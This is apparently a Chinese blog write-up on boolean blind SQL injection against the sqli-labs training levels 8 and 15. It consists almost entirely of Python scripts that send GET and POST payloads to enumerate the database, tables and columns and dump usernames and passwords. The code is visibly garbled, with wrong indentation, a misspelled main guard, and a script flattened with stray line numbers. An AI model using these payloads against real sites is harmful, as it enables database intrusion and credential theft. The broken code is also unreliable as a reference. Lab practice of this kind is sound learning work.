布尔盲注——GET注入

一、好家伙,昨天在buu上看到一道SQL注入的题目,贼难受,然后就果断放弃去看大佬们写的wp,所以成功的花了6个小时来学习这个鬼东西,可能是自己太菜了,也可能是小甲鱼python看的太少了……小甲鱼的python的确讲的很不错

自己写的脚本:

二、直接上代码,看不懂来找我(算了,还是别找我了……),这里都是以sqli-labs第八关为例子的。

(1)获取数据库的长度

# 导入爬虫模块
import requests
# 导入时间模块
import time


# 获取数据库的长度
def get_DBlen(url):
    for i in range(1, 20):
        payload = "' and length(database())=%d -- p" % i
        html = requests.get(url + payload)
        if "You" in html.text:
            print(f"数据库长度为:{i}")
            break
    return i


# 获取数据库的库名
def get_DBname(url, DBlen):
    DBname = ""
    DBlen = DBlen + 1
    for i in range(1, DBlen):
        for j in range(33, 128): payload = "' and (ascii(substr((select(database())),{0},1))={1}) -- p".format(i, j)
        db_url = url + payload
        html = requests.get(db_url)
        if "You" in html.text:
            DBname += chr(j)
            break
    print(DBname)
    return DBname


# 获取表的长度
def get_TBlen(url):
    # 表示数据表的数量
    TBvalue = 0
    for j in range(0, 15):
        payload = "' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))>1 -- p".format(
            j)
        db_url = url + payload
        html = requests.get(db_url)
        # 如果有回显说明该表存在,存在的话就可以判断该表的长度
        if "You" in html.text:
            pass
        else:
            TBvalue = j
            break
    print(TBvalue)
    for j in range(0, TBvalue):
        # print(j):0,1,2,3
        for i in range(1, 20):
            payload = "' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1} -- p".format(
                j, i)
            db_url = url + payload
            html = requests.get(db_url)
            if "You" in html.text:
                print(f"数据表{j}的长度为{i}")
        return TBvalue


# 获取表名
def get_TBname(url, TBlen):
    TBnameAll = []
    for i in range(0, TBlen):
        TBname = ""
    for j in range(1, 15):
        min = 32
    max = 128
    mid = (max + min) // 2
    while min < max:
        payload = "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2} -- p".format(
            i, j, mid)
        html = requests.get(url + payload)
        if "You" in html.text:
            min = mid + 1
        else:
            max = mid
        mid = (max + min) // 2
        if mid <= 32 or mid >= 127:
            break
        TBname += chr(mid)
        # print(chr(mid))
        print(TBname)
        TBnameAll.append(TBname)
    return TBnameAll


# 获取列的列名
def get_Colname(url):
    for i in range(0, 15):
        Colname = ""
        for j in range(1, 15):
            min = 32
            max = 128
            mid = (min + max) // 2
    while min < max:
        payload = "' and ascii(substr((select column_name from information_schema.columns where table_name='referers' limit {0},1),{1},1))>{2} -- p".format(
            i, j, mid)
        html = requests.get(url + payload)
        if "You" in html.text:
            min = mid + 1
        else:
            max = mid
        mid = (max + min) // 2
        if mid <= 32 or mid >= 127:
            break
        Colname += chr(mid)
    print("数据列名为:", Colname)


# 爆数据
def get_shuju(url):
    for i in range(0, 15):
        shuju = ""
        for j in range(1, 20):
            min = 32
        max = 128
        mid = (min + max) // 2
        while min < max:
            payload = "' and ascii(substr((select concat(id,'~',email_id) from emails limit {0},1),{1},1))>{2} -- p".format(
                i, j, mid)
            html = requests.get(url + payload)
            if "You" in html.text:
                min = mid + 1
            else:
                max = mid
            mid = (max + min) // 2
            if mid <= 32 or mid >= 127:
                break
            shuju += chr(mid)
        print("数据为:", shuju)


if __name__ == "main":
    # 要进行SQL盲注的链接    
    url = "http://192.168.59.150/sqli-labs/Less-8/?id=1"
    # 数据库的长度    
    DBlen = get_DBlen(url)
    # 数据库的库名    
    DBname = get_DBname(url, DBlen)
    # 数据表的个数    
    TBlen = get_TBlen(url)
    # print(TBlen)    
    # 表的表名    
    TBnameAll = get_TBname(url, TBlen)
    # 返回的是一个列表,表示所有的数据表名    
    # print(TBnameAll)   
    get_Colname(url)
    # 数据   
    get_shuju(url)

运行结果就不放出来了。

唉,写的比较垃圾,大佬别喷。慢慢改进,好家伙……

来自大佬的脚本改编:

以下是根据大佬的脚本进行更改的,算80%的自动化吧,嗷嗷嗷……

from operator import le
import requests
import time

host = "http://192.168.59.150/sqli-labs/Less-8/?"


def getDatabase():
    # 获取数据库名
    # 将host变量变为一个全局变量
    global host
    ans = ''
    for i in range(1, 1000):        low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        time.sleep(0.3)
        url = host + "id=1' and (ascii(substr((select(database())),%d,1))<%d) -- p" % (i, mid)
        res = requests.get(url)
        # 如果返回的是You,那么就为真的
        if "You" in res.text:
            high = mid
        else:
            low = mid + 1
            mid = (low + high) // 2
            if mid <= 32 or mid >= 127:
                break
            ans += chr(mid - 1)
            print("database is -> " + ans)
            # 返回库名
        return ans


def getTable(DBname):
    # 获取表名
    global host
    ans = ""
    for i in range(1, 1000):
        low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        time.sleep(0.3)
        url = host + "id=1' and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='{0}')),{1},1))<{2}) -- p".format(
            DBname, i, mid)
        res = requests.get(url)
        if "You" in res.text:
            high = mid
        else:
            low = mid + 1
        mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("table is -> " + ans)
    # 返回表名,此时表名为一个列表    
    return ans


def getColumn(TBname):
    # 获取列名    
    global host
    ans = ''
    for i in range(1, 1000):        low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        time.sleep(0.3)
        url = host + "id=1' and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{0}')),{1},1))<{2}) -- p".format(
            TBname, i, mid)
        res = requests.get(url)
        if "You" in res.text:
            high = mid
        else:
            low = mid + 1
        mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("column is -> " + ans)
    # 返回一个列名    
    return ans


def dumpTable():
    # 脱裤    
    global host
    ans = ''
    for i in range(1, 1000):        low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        time.sleep(0.3)
        url = host + "id=1' and (ascii(substr((select(group_concat(username,password))from(users)),%d,1))<%d) -- p" % (
            i, mid)
        res = requests.get(url)
        if "You" in res.text:
            high = mid
        else:
            low = mid + 1
        mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
    print("dumpTable is -> " + ans)


DBname = getDatabase()
# print(DBname)
TBname = getTable(DBname)
# print(type(TBname))表示是一个字符串,用来测试
TBnames = []
TBnames.append(TBname.split(','))
# 因为输出的是一个二元数组,所以使用下面的代码来转为一维数组
TBnames = TBnames[0]
# print(TBnames)
TBlen = len(TBnames)
for i in range(0, TBlen):
    TBname = TBnames[i]
    # print(TBname)    
    getColumn(TBname)
    if i == TBlen - 1:
        break
dumpTable()

运行结果就不放出来了。

布尔盲注——POST注入

直接上代码了:(这里是以sqli-labs第15关为例的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
import requests
import time

host = "http://192.168.59.150/sqli-labs/Less-15/"


def getDatabase(): # 获取数据库名
# 将host变量变为一个全局变量
global host
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "admin' and (ascii(substr((select database()),{0},1))<{1}) --p".format(i, mid)
print(payload) # 测试
data = {"uname": payload, "passwd": "admin", "submit": "Submit"}
html = requests.post(host, data)
# 如果返回的是有数据,那么就为真的
if "flag.jpg" in html.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("database is -> " + ans)
# 返回库名
return ans


def getTable():
# 获取表名
global host
ans = ""
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
time.sleep(0.3)
payload = "admin' and(ascii(substr((select(group_concat(table_name))from (information_schema.tables)where(table_schema=database())), {0}, 1)) < {1})-- p".format(
i, mid)
data = {"uname": payload, "passwd": "admin", "submit": "Submit"}
html = requests.post(host, data)
# 如果返回的是有数据,那么就为真的
if "flag.jpg" in html.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("table is -> " + ans)
# 返回表名,此时表名为一个列表
return ans


def getColumn(TBname):
# 获取列名
global host
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "admin' and (ascii(substr((select(group_concat(column_name))from (information_schema.columns)where(table_name='{0}')), {1}, 1)) < {2})-- p".format(
TBname, i, mid)
data = {"uname": payload, "passwd": "admin", "submit": "Submit"}
html = requests.post(host, data)
# 如果返回的是有数据,那么就为真的
if "flag.jpg" in html.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("column is -> " + ans)
# 返回一个列名
return ans


def dumpTable():
# 脱裤
global host
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
time.sleep(0.3)
payload = "admin' and(ascii(substr((select(group_concat(username, password))from (users)), % d, 1)) < % d)-- p" % (
i, mid)
data = {"uname": payload, "passwd": "admin", "submit": "Submit"}
html = requests.post(host, data)
# 如果返回的是有数据,那么就为真的
if "flag.jpg" in html.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("dumpTable is -> " + ans)


if __name__ == "__main__":
getDatabase()
TBname = getTable()
print(type(TBname))
# 表示是一个字符串,用来测试
TBnames = []
TBnames.append(TBname.split(','))
# 因为输出的是一个二元数组,所以使用下面的代码来转为一维数组
TBnames = TBnames[0]
print(TBnames)
TBlen = len(TBnames)
for i in range(0, TBlen):
TBname = TBnames[i]
print(TBname)
getColumn(TBname)
if i == TBlen - 1:
break
dumpTable()

运行结果就不放出来了。